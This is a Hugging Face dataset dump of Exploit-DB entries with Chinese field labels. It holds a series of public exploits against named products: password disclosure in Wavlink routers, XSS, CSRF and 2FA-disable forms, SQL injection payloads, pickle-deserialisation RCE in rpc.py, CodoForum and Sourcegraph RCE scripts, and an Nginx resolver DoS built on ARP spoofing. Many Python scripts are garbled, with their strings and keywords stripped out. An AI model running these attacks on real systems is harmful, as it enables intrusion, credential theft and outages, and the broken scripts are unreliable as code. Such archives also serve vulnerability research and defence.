QLWD/code_shield huggingface dataset:
标题: Wavlink WN530HG4 - Password Disclosure EDB-ID: 50991 CVE: 2022-34047 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: Wavlink WN530HG4 - Password Disclosure
# Date: 2022-06-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M30HG4.V5030.191116
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34047
# Tested on: Windows

# Exploit

view-source:http://IP_address/set_safety.shtml?r=52300
search for var syspasswd="
you will find the username and the password URL: https://www.exploit-db.com/exploits/50991
标题: Wavlink WN533A8 - Password Disclosure EDB-ID: 50990 CVE: 2022-34046 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: Wavlink WN533A8 - Password Disclosure
# Date: 2022-06-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M33A8.V5030.190716
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34046
# Tested on: Windows

# Exploit

view-source:http://IP_ADDRESS/sysinit.shtml
search for var syspasswd="
you will find the username and the password URL: https://www.exploit-db.com/exploits/50990
标题: Wavlink WN533A8 - Cross-Site Scripting (XSS) EDB-ID: 50989 CVE: 2022-34048 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-08-01 漏洞利用脚本: # Exploit Title: Wavlink WN533A8 - Cross-Site Scripting (XSS)
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M33A8.V5030.190716
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34048
# Tested on: Windows

# Poc code
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://IP_ADDRESS/cgi-bin/login.cgi" method="POST">
      <input type="hidden" name="newUI" value="1" />
      <input type="hidden" name="page" value="login" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="langChange" value="0" />
     <input type="hidden" name="ipaddr" value="196&#46;219&#46;234&#46;10" />
      <input type="hidden" name="login&#95;page" value="x"&#41;&#59;alert&#40;9&#41;&#59;x&#61;&#40;"" />
      <input type="hidden" name="homepage" value="main&#46;shtml" />
      <input type="hidden" name="sysinitpage" value="sysinit&#46;shtml" />
      <input type="hidden" name="wizardpage" value="wiz&#46;shtml" />
      <input type="hidden" name="hostname" value="59&#46;148&#46;80&#46;138" />
      <input type="hidden" name="key" value="M94947765" />
      <input type="hidden" name="password" value="ab4e98e4640b6c1ee88574ec0f13f908" />
      <input type="hidden" name="lang&#95;select" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/50989
标题: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path EDB-ID: 50985 CVE: 2022-35899 类型: LOCAL 平台: WINDOWS 发布日期: 2022-07-29 漏洞利用脚本: # Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path
# Date: 07/14/2022
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899

# Step to discover the unquoted service path:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Info on the service:

C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : GameSDK Service
        DIPENDENZE                :
        SERVICE_START_NAME : LocalSystem

# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe". URL: https://www.exploit-db.com/exploits/50985
标题: Dingtian-DT-R002 3.1.276A - Authentication Bypass EDB-ID: 50984 CVE: 2022-29593 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-07-29 漏洞利用脚本: # Exploit Title: Dingtian-DT-R002 3.1.276A - Authentication Bypass
# Google Dork: NA
# Date: 13th July 2022
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2022-29593/
# Vendor Homepage: https://www.dingtian-tech.com/en_us/relay4.html
# Software Link: https://www.dingtian-tech.com/en_us/support.html?tab=download
# Version: V3.1.276A
# Tested on: MAC OSX
# CVE : CVE-2022-29593#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay

import requests
import re
 urllibparse
 colorama  init
 colorama  Fore Back Style
 sys
 os
 time

 urllib3exceptions  InsecureRequestWarning
requestspackagesurllib3disable_warningscategoryInsecureRequestWarning

 
     
     ForeRED   StyleRESET_ALL
     
     sysargv   
     

 
    ossystem
    banner
    urlRelay1On   host
    urlRelay1Off  host
    urlRelay2On   host
    urlRelay2Off  host

    headers  
         host
         
         
         
         
         
         
         host
         
    

     ForeYELLOW  f  StyleRESET_ALL flush end
     i  
        timesleep 
         ForeYELLOW    StyleRESET_ALL flush end
    
         relay  
             ForeGREEN    StyleRESET_ALL
            r  requestsgeturlRelay1On
            timesleep 
             ForeGREEN    StyleRESET_ALL
            r  requestsgeturlRelay1Off
             ForeYELLOW    StyleRESET_ALL flush end
         relay  
             ForeGREEN    StyleRESET_ALL
            r  requestsgeturlRelay2On
            timesleep 
             ForeGREEN    StyleRESET_ALL
            r  requestsgeturlRelay2Off
             ForeYELLOW    StyleRESET_ALL flush end
        
             ForeRED    StyleRESET_ALL
     KeyboardInterrupt
        sysexit
     requestsexceptionsTimeout
         
        sysexit
     requestsexceptionsTimeout
         
        sysexit
     Exception  e
         ForeRED  f  StyleRESET_ALL

 __name__  
     sysargv    
        host  sysargv
        relay  sysargv
        main 
    
         ForeRED  f  StyleRESET_ALL URL: https://www.exploit-db.com/exploits/50984
标题: rpc.py 0.6.0 - Remote Code Execution (RCE) EDB-ID: 50983 CVE: 2022-35411 类型: REMOTE 平台: PYTHON 发布日期: 2022-07-29 漏洞利用脚本: # Exploit Title: rpc.py 0.6.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2022-07-12
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/abersheeran
# Software Link: https://github.com/abersheeran/rpc.py
# Version: v0.4.2 - v0.6.0
# Tested on: Debian 11, Ubuntu 20.04
# CVE : CVE-2022-35411

import requests
import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST =3D "127.0.0.1:65432"

URL  f

HEADERS  
     



 cmd

     
         self
             os
             ossystem cmd

    payload  pickledumpsPickleRce

    payload

     payload


 cmd

    payload  generate_payloadcmd

    requestsposturl3DURL data3Dpayload headers3DHEADERS


 
    exec_command
    


 __name__  
    main URL: https://www.exploit-db.com/exploits/50983
标题: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS) EDB-ID: 50976 CVE: 2022-33098 类型: WEBAPPS 平台: PHP 发布日期: 2022-07-21 漏洞利用脚本: # Exploit Title: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
# Date: 08/05/2022
# Exploit Author: Giulio Garzia 'Ozozuz'
# Vendor Homepage: https://www.magnolia-cms.com/
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
# Version: 6.2.19
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-33098

Explanation
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.

===== REQUEST =====
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908
Content-Length: 620
Connection: close
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

-----------------------------399178799522967017241464837908
Content-Disposition: form-data; name="140_file"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert('POC - Magnolia CMS');
  </script>
</svg>

-----------------------------399178799522967017241464837908-- URL: https://www.exploit-db.com/exploits/50976
标题: CodoForum v5.1 - Remote Code Execution (RCE) EDB-ID: 50978 CVE: 2022-31854 类型: WEBAPPS 平台: PHP 发布日期: 2022-07-21 漏洞利用脚本: # Exploit Title: CodoForum v5.1 - Remote Code Execution (RCE)
# Date: 06/07/2022
# Exploit Author: Krish Pandey (@vikaran101)
# Vendor Homepage: https://codoforum.com/
# Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip
# Version: CodoForum v5.1
# Tested on: Ubuntu 20.04
# CVE: CVE-2022-31854

#!/usr/bin/python3

import requests
import time
import optparse
import random
import string

banner  


banner


parser  optparseOptionParser
parseradd_option  action dest 
parseradd_option  action dest 
parseradd_option  action dest 
parseradd_option  action dest 
parseradd_option  action dest 

options args  parserparse_args

proxy     

  optionstarget   optionsusername   optionspassword   optionsip   optionsport
    
    
    
    exit

loginURL  optionstarget  
globalSettings  optionstarget  
payloadURL  optionstarget  

session  requestsSession

randomFileName  joinrandomchoicestringascii_lowercase  x  

 
    
    
        get_PHPID  sessiongetloginURL
        headerDict  get_PHPIDheaders
        cookies  headerDictsplitsplit
         cookies
    
        exit

phpID  getPHPSESSID

 
    send_cookies  
    send_headers   loginURLsplit    loginURLsplitloginURL
    send_creds  
    auth  sessionpostloginURL headerssend_headers cookiessend_cookies datasend_creds proxiesproxy

       authtext
        

 
    send_cookies    phpID
    send_headers  
    send_payload    randomFileName    optionsip    optionsport  
    exploit  requestspostglobalSettings headerssend_headers cookiessend_cookies datasend_payload proxiesproxy

    
    payloadExec  sessiongetpayloadURL  randomFileName   proxiesproxy
     payloadExecstatus_code  
        
    
          payloadURL 
login
uploadAndExploit URL: https://www.exploit-db.com/exploits/50978
标题: Nginx 1.20.0 - Denial of Service (DOS) EDB-ID: 50973 CVE: 2021-23017 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-07-11 漏洞利用脚本: # Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
# Date: 2022-6-29
# Exploit Author: Mohammed Alshehri - https://Github.com/M507
# Vendor Homepage: https://nginx.org/
# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
# Version: 0.6.18 - 1.20.0
# Tested on: Ubuntu 18.04.4 LTS bionic 
# CVE: CVE-2021-23017
# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
# The service needs to be configured to use Nginx resolver

from scapy.all import *
from multiprocessing import Process
 binascii  hexlify unhexlify
 argparse time os

 
    ossystem
    ossystem

 target dns_server
    
    target_mac  getmacbyiptarget
    dns_server_mac  getmacbyipdns_server
     
        timesleep
        sendARPop pdsttarget psrcdns_server hwdsttarget_macverbose  
        sendARPop pdstdns_server psrctarget hwdstdns_server_macverbose  

 target
    
    sniff   target prn  process_received_packet


 received_packet
     received_packetIPsrc  target_ip
         received_packethaslayerDNS
             DNSQR  received_packet
                  bytes_hexreceived_packet
                  bytes_hexreceived_packetDNSbuild
                
                    
                    dns_request  received_packetDNSbuild
                    null_pointer_index  received_packetDNSbuildfind
                    hexlifydns_requestnull_pointer_index
                    hexlifydns_requestnull_pointer_index
                    payload  
                        dns_request
                        b
                        dns_requestnull_pointer_index
                        dns_requestnull_pointer_indexnull_pointer_index
                        dns_requestnull_pointer_indexnull_pointer_index
                        b
                        b
                        b
                        b
                    
                    
                    payload  bjoinpayload
                    spoofed_pkt  EtherIPdstreceived_packetIPsrc srcreceived_packetIPdst\
                        UDPdportreceived_packetUDPsport sportreceived_packetUDPdport\
                        payload
                    hexlifypayload
                      bytes_hexspoofed_pkt

                    sendpspoofed_pkt count
                    
                    
                
                    

 
     target_ip
    parser  argparseArgumentParser
    parseradd_argument  
    parseradd_argument  
    args  parserparse_args
    target_ip  argstarget
    dns_server_ip  argsdns_server
    device_setup
    processes_list  
    ARPPProcess  ProcesstargetARPPargstarget_ipdns_server_ip
    exploitProcess  Processtargetexploitargstarget_ip
    processes_listappendARPPProcess
    processes_listappendexploitProcess
     process  processes_list
        processstart
     process  processes_list
        processjoin

 __name__  
    target_ip  
    main URL: https://www.exploit-db.com/exploits/50973
标题: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS) EDB-ID: 50970 CVE: 2022-29548 类型: WEBAPPS 平台: PHP 发布日期: 2022-06-27 漏洞利用脚本: # Exploit Title: WSO2 Management Console (Multiple Products) - Unauthenticated Reflected Cross-Site Scripting (XSS)
# Date: 21 Apr 2022
# Exploit Author: cxosmo
# Vendor Homepage: https://wso2.com
# Software Link: API Manager (https://wso2.com/api-manager/), Identity Server (https://wso2.com/identity-server/), Enterprise Integrator (https://wso2.com/integration/) 
# Affected Version(s): API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 and 4.0.0; 
    # API Manager Analytics 2.2.0, 2.5.0, and 2.6.0;
    # API Microgateway 2.2.0;
    # Data Analytics Server 3.2.0;
    # Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0;
    # IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0;
    # Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0;
    
    



 argparse
 logging
 urllibparse


VULNERABLE_ENDPOINT  
DEFAULT_PAYLOAD  


loggingbasicConfiglevelloggingINFO 
log  logginggetLogger

 url custom_payload
    loginfof
     custom_payload
        loginfof
    
        loginfof

 url
     urlcount  
         f
    
         url

 payload
    encoded_characters    
     character  payload  character  encoded_characters
        loginfof
         
    
         urllibparsequotepayload

 __name__  
    
    parser  argparseArgumentParserformatter_classargparseRawDescriptionHelpFormatter
    required_arguments  parseradd_argument_group
    required_argumentsadd_argument 
                        
                        required action
    parseradd_argument 
                        
                        action default
    args  parserparse_args

    
    argstarget  clean_url_inputargstargetlower

    
     argspayload
        argspayload  check_payloadargspayload
         argspayload
            generate_payloadargstarget argspayload
    
        generate_payloadargstarget URL: https://www.exploit-db.com/exploits/50970
标题: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS) EDB-ID: 50967 CVE: 2022-29299 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29299
# Tested on: Windows

# Proof Of Concept:

http://IP_ADDRESS/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6 URL: https://www.exploit-db.com/exploits/50967
标题: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS) EDB-ID: 50968 CVE: 2022-29301 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: SolarView Compact 6.00 - 'pow' Cross-Site Scripting (XSS)
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29301
# Tested on: Windows

# Proof Of Concept:
http://IP_ADDRESS/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(9)%3C/script%3E%3C%22&bgcolor=green URL: https://www.exploit-db.com/exploits/50968
标题: ChurchCRM 4.4.5 - SQLi EDB-ID: 50965 CVE: 2022-31325 类型: WEBAPPS 平台: PHP 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: ChurchCRM 4.4.5 - SQLi
# Exploit Author: nu11secur1ty
# Date: 05.11.2022
# Vendor: https://churchcrm.io/
# Software: https://github.com/ChurchCRM/CRM
# Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325

## Description:
There is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.

[+] Payloads:

```mysql
---
Parameter: PersonID (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE
(SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: PersonID=1 AND (SELECT 7116 FROM
(SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=
---

``` URL: https://www.exploit-db.com/exploits/50965
标题: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE) EDB-ID: 50964 CVE: 2022-23642 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)
# Date: 2022-06-10
# Exploit Author: Altelus
# Vendor Homepage: https://about.sourcegraph.com/
# Version: 3.63.3 
# Tested on: Linux
# CVE : CVE-2022-23642
# Docker Container: sourcegraph/server:3.36.3

# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. 
# This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed 
# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible 
# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3
#






 json
 argparse
 requests

 host existing_git cmd

    
    data  
          existing_git
          
            
            
            cmd
        
    

    res  requestsgethost jsondatatext

     res  
        res
        exit

    
    data  
          existing_git
          
            
            
            
            
        
    

    res  requestsgethost jsondatatext

     res  
        res
        exit

    
    data  
          existing_git
          
            
            
            
        
    

    res  requestsgethost jsondatatext

    

parser  argparseArgumentParser

parseradd_argument required 
parseradd_argument required 
parseradd_argument required 
args  parserparse_args

host  argsgitserver_host
existing_git  argsexisting_git
cmd  argscmd


exploithost existing_git cmd URL: https://www.exploit-db.com/exploits/50964
标题: Virtua Software Cobranca 12S - SQLi EDB-ID: 50958 CVE: 2021-37589 类型: REMOTE 平台: WINDOWS 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Virtua Software Cobranca 12S - SQLi
# Shodan Query: http.favicon.hash:876876147
# Date: 13/08/2021
# Exploit Author: Luca Regne
# Vendor Homepage: https://www.virtuasoftware.com.br/
# Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe
# Version: 12S
# Tested on: Windows Server 2019
# CVE : CVE-2021-37589
------------------------------------------------------------------------


## Description 
A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. 

## Request PoC
```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario

```

This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. 

```
POST /controller/login.php?acao=autenticar HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Connection: close
Cookie: origem_selecionado=; PHPSESSID=

idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario

```

## Exploit
Save the request from burp to file 
```bash
python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent
``` URL: https://www.exploit-db.com/exploits/50958
标题: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF) EDB-ID: 50957 CVE: 2022-31886 类型: REMOTE 平台: WINDOWS 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# PoCs: https://drive.google.com/drive/folders/1Zy5Oa-maLo0ACfLz90uvxqxwG18DwAZY
# 2FA Bypass:

<html>

  <body>
    <form action="https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptHandler.ashx?method=DisableTwoFactorAuthentication&classPath=%2FMSM_Test%2FRFP%2FForms%2FProfile.aspx&classMode=WXr8G2r3eh3984wn3YQvtybzSUW%2B955Uiq5AACvfimwA%2FNZHYRFm8%2Bgidv5CcNfjtLsElRbK%2FRmwvfE9UfeyD6DseGEe5eZGWB32FOJrhdcEh7oNUSSO9Q%3D%3D" method="POST" enctype="text/plain">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/50957